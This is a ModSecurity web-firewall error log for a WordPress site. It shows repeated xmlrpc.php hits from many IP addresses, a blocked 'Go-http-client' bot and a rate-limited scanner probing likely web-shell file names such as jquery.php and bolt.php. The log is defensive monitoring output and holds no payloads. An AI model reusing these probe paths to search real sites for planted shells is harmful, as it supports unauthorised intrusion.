[Sun Apr 12 03:57:48.803460 2026] [:error] [pid 15967:tid 16053] [client 103.110.84.178:56690] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqnvNu9HER2c2TTdnc4EAAAABQ"]
[Sun Apr 12 04:02:00.982558 2026] [:error] [pid 15967:tid 16045] [client 100.52.25.12:56382] [client 100.52.25.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.52.25.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqouNu9HER2c2TTdnc67gAAAAw"]
[Sun Apr 12 04:05:33.737934 2026] [:error] [pid 17968:tid 17986] [client 102.219.155.20:47585] [client 102.219.155.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqpjdEt6logV3mG07IBhwAAAUw"]
[Sun Apr 12 04:05:43.763385 2026] [:error] [pid 15967:tid 16051] [client 102.219.155.20:54055] [client 102.219.155.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqpl9u9HER2c2TTdnc-XAAAABI"]
[Sun Apr 12 04:05:54.374024 2026] [:error] [pid 15967:tid 16034] [client 102.219.155.26:3909] [client 102.219.155.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqpotu9HER2c2TTdnc-zwAAAAE"]
[Sun Apr 12 04:06:05.844129 2026] [:error] [pid 15978:tid 16095] [client 102.219.155.26:18473] [client 102.219.155.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqprfCgLfnuYNR-0aN19wAAAIY"]
[Sun Apr 12 04:06:16.740347 2026] [:error] [pid 17969:tid 18025] [client 102.219.155.26:33813] [client 102.219.155.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqpuI-vTBFpusgC4zETUQAAAZg"]
[Sun Apr 12 04:06:26.284932 2026] [:error] [pid 15978:tid 16099] [client 102.219.155.11:55842] [client 102.219.155.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqpwvCgLfnuYNR-0aN1_wAAAIo"]
[Sun Apr 12 04:06:36.937295 2026] [:error] [pid 16146:tid 16158] [client 102.219.155.11:36631] [client 102.219.155.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqpzPEpEtAZB6OjXMocBwAAAMk"]
[Sun Apr 12 04:06:58.234988 2026] [:error] [pid 17969:tid 18006] [client 102.219.155.14:44174] [client 102.219.155.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqp4o-vTBFpusgC4zETggAAAYU"]
[Sun Apr 12 04:07:08.820782 2026] [:error] [pid 17968:tid 17998] [client 102.219.155.14:54441] [client 102.219.155.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqp7NEt6logV3mG07IB8gAAAVg"]
[Sun Apr 12 04:07:19.458433 2026] [:error] [pid 15978:tid 16093] [client 102.219.155.14:1970] [client 102.219.155.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqp9_CgLfnuYNR-0aN2TAAAAIQ"]
[Sun Apr 12 04:08:13.023283 2026] [:error] [pid 15970:tid 16064] [client 167.99.240.84:58540] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqqLUUFMMD-vAY1GXYRTQAAAEI"]
[Sun Apr 12 04:12:06.420679 2026] [:error] [pid 59497:tid 59559] [client 93.91.154.4:40576] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqrFv-gq3_7XAyhMW_4oQAAAIQ"]
[Sun Apr 12 04:12:16.242136 2026] [:error] [pid 59495:tid 59506] [client 138.68.162.171:42810] [client 138.68.162.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.162.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqrIEEPRF0I2992SJZxhwAAAAY"]
[Sun Apr 12 04:14:55.729464 2026] [:error] [pid 62342:tid 62355] [client 98.159.37.81:53767] [client 98.159.37.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "adqrv2USc31Ex2QtFIkwyQAAAQo"]
[Sun Apr 12 04:15:47.431390 2026] [:error] [pid 59497:tid 59570] [client 13.235.96.22:46952] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqr8_-gq3_7XAyhMW_6sgAAAI8"]
[Sun Apr 12 04:21:58.344196 2026] [:error] [pid 26567:tid 26576] [client 207.154.197.201:55984] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqtZnhRpg6ptWFyFx3mWAAAAQc"]
[Sun Apr 12 04:25:13.634950 2026] [:error] [pid 25327:tid 25349] [client 95.110.143.247:39992] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adquKS6h2tZEVJo9JFI0DwAAAA0"]
[Sun Apr 12 04:25:52.620203 2026] [:error] [pid 26600:tid 26629] [client 45.233.148.131:33852] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adquUO1YwAZiXhQKLYpf7gAAAYA"]
[Sun Apr 12 04:27:41.197176 2026] [:error] [pid 25327:tid 25347] [client 94.23.210.48:49640] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adquvS6h2tZEVJo9JFI1BgAAAAs"]
[Sun Apr 12 04:28:40.360751 2026] [:error] [pid 25437:tid 25445] [client 51.38.230.115:42990] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqu-Hf97wYZje1ep_M7SQAAAMY"]
[Sun Apr 12 04:32:28.207931 2026] [:error] [pid 25437:tid 25441] [client 141.94.27.49:56606] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqv3Hf97wYZje1ep_M8MAAAAMI"]
[Sun Apr 12 04:33:02.321332 2026] [:error] [pid 25327:tid 25352] [client 134.122.21.213:34958] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqv_i6h2tZEVJo9JFI2nAAAABA"]
[Sun Apr 12 04:47:12.808546 2026] [:error] [pid 26599:tid 26602] [client 157.66.27.55:43232] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqzUHG89LXoQbk_rwAp-AAAAUA"]
[Sun Apr 12 04:51:06.104777 2026] [:error] [pid 25328:tid 25379] [client 67.73.243.12:50786] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq0OsxUaQZxT-e0YsDFRQAAAEs"]
[Sun Apr 12 04:52:52.392585 2026] [:error] [pid 26599:tid 26616] [client 82.223.24.195:46276] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq0pHG89LXoQbk_rwAr-QAAAU4"]
[Sun Apr 12 05:00:50.349632 2026] [:error] [pid 26599:tid 26618] [client 46.182.4.125:45761] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq2gnG89LXoQbk_rwAuygAAAVA"]
[Sun Apr 12 05:04:36.668689 2026] [:error] [pid 60280:tid 60287] [client 167.99.153.99:60936] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq3ZHBlLnDOYuIykkjRZgAAAcU"]
[Sun Apr 12 05:07:51.616195 2026] [:error] [pid 26600:tid 26639] [client 20.91.190.16:28217] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "adq4J-1YwAZiXhQKLYptdgAAAYo"]
[Sun Apr 12 05:07:52.831442 2026] [:error] [pid 26567:tid 26578] [client 20.91.190.16:28756] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "adq4KHhRpg6ptWFyFx3xAwAAAQk"]
[Sun Apr 12 05:07:53.351299 2026] [:error] [pid 25328:tid 25408] [client 20.91.190.16:15864] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "adq4KcxUaQZxT-e0YsDNegAAAFg"]
[Sun Apr 12 05:07:53.870902 2026] [:error] [pid 26567:tid 26579] [client 20.91.190.16:5438] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "adq4KXhRpg6ptWFyFx3xBAAAAQo"]
[Sun Apr 12 05:07:54.393231 2026] [:error] [pid 26599:tid 26619] [client 20.91.190.16:15863] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adq4KnG89LXoQbk_rwAwVQAAAVE"]
[Sun Apr 12 05:07:54.913248 2026] [:error] [pid 26567:tid 26576] [client 20.91.190.16:49473] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adq4KnhRpg6ptWFyFx3xCAAAAQc"]
[Sun Apr 12 05:07:55.432314 2026] [:error] [pid 60280:tid 60298] [client 20.91.190.16:46664] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adq4K3BlLnDOYuIykkjR3wAAAdA"]
[Sun Apr 12 05:07:55.951626 2026] [:error] [pid 60280:tid 60283] [client 20.91.190.16:61186] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adq4K3BlLnDOYuIykkjR4QAAAcE"]
[Sun Apr 12 05:07:56.473687 2026] [:error] [pid 60280:tid 60287] [client 20.91.190.16:31268] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "adq4LHBlLnDOYuIykkjR4wAAAcU"]
[Sun Apr 12 05:07:56.995444 2026] [:error] [pid 26599:tid 26624] [client 20.91.190.16:56052] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "adq4LHG89LXoQbk_rwAwWQAAAVY"]
[Sun Apr 12 05:07:57.519438 2026] [:error] [pid 26567:tid 26582] [client 20.91.190.16:16272] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "adq4LXhRpg6ptWFyFx3xCgAAAQ0"]
[Sun Apr 12 05:07:58.039708 2026] [:error] [pid 26599:tid 26609] [client 20.91.190.16:41794] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "adq4LnG89LXoQbk_rwAwXQAAAUc"]
[Sun Apr 12 05:07:58.559176 2026] [:error] [pid 25328:tid 25372] [client 20.91.190.16:57382] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jquery.php"] [unique_id "adq4LsxUaQZxT-e0YsDNfwAAAEc"]
[Sun Apr 12 05:07:59.090493 2026] [:error] [pid 26600:tid 26642] [client 20.91.190.16:41854] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jquery.php"] [unique_id "adq4L-1YwAZiXhQKLYpteQAAAY0"]
[Sun Apr 12 05:07:59.623740 2026] [:error] [pid 26600:tid 26649] [client 20.91.190.16:63338] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jquery.php"] [unique_id "adq4L-1YwAZiXhQKLYptewAAAZQ"]
[Sun Apr 12 05:08:00.148526 2026] [:error] [pid 25328:tid 25408] [client 20.91.190.16:37995] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jquery.php"] [unique_id "adq4MMxUaQZxT-e0YsDNiAAAAFg"]
[Sun Apr 12 05:08:00.671933 2026] [:error] [pid 26599:tid 26621] [client 20.91.190.16:62026] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "adq4MHG89LXoQbk_rwAwZQAAAVM"]
[Sun Apr 12 05:08:01.220649 2026] [:error] [pid 25328:tid 25372] [client 20.91.190.16:64847] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "adq4McxUaQZxT-e0YsDNjQAAAEc"]
[Sun Apr 12 05:08:01.770977 2026] [:error] [pid 26600:tid 26645] [client 20.91.190.16:37987] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "adq4Me1YwAZiXhQKLYptfgAAAZA"]
[Sun Apr 12 05:08:02.288569 2026] [:error] [pid 26600:tid 26636] [client 20.91.190.16:16289] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "adq4Mu1YwAZiXhQKLYpthQAAAYc"]
[Sun Apr 12 05:08:02.816098 2026] [:error] [pid 26600:tid 26641] [client 20.91.190.16:41810] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adq4Mu1YwAZiXhQKLYpthwAAAYw"]
[Sun Apr 12 05:08:03.332995 2026] [:error] [pid 26600:tid 26629] [client 20.91.190.16:41805] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adq4M-1YwAZiXhQKLYptiQAAAYA"]
[Sun Apr 12 05:08:03.858803 2026] [:error] [pid 26599:tid 26616] [client 20.91.190.16:41800] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adq4M3G89LXoQbk_rwAwawAAAU4"]
[Sun Apr 12 05:08:04.377005 2026] [:error] [pid 26567:tid 26589] [client 20.91.190.16:30028] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adq4NHhRpg6ptWFyFx3xDgAAARQ"]
[Sun Apr 12 05:08:04.901810 2026] [:error] [pid 26600:tid 26631] [client 20.91.190.16:32915] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adq4NO1YwAZiXhQKLYptkwAAAYI"]
[Sun Apr 12 05:08:05.424646 2026] [:error] [pid 26600:tid 26629] [client 20.91.190.16:39222] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adq4Ne1YwAZiXhQKLYptmwAAAYA"]
[Sun Apr 12 05:08:05.959155 2026] [:error] [pid 26600:tid 26649] [client 20.91.190.16:30050] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adq4Ne1YwAZiXhQKLYptngAAAZQ"]
[Sun Apr 12 05:08:06.482995 2026] [:error] [pid 26600:tid 26648] [client 20.91.190.16:62037] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adq4Nu1YwAZiXhQKLYptoAAAAZM"]
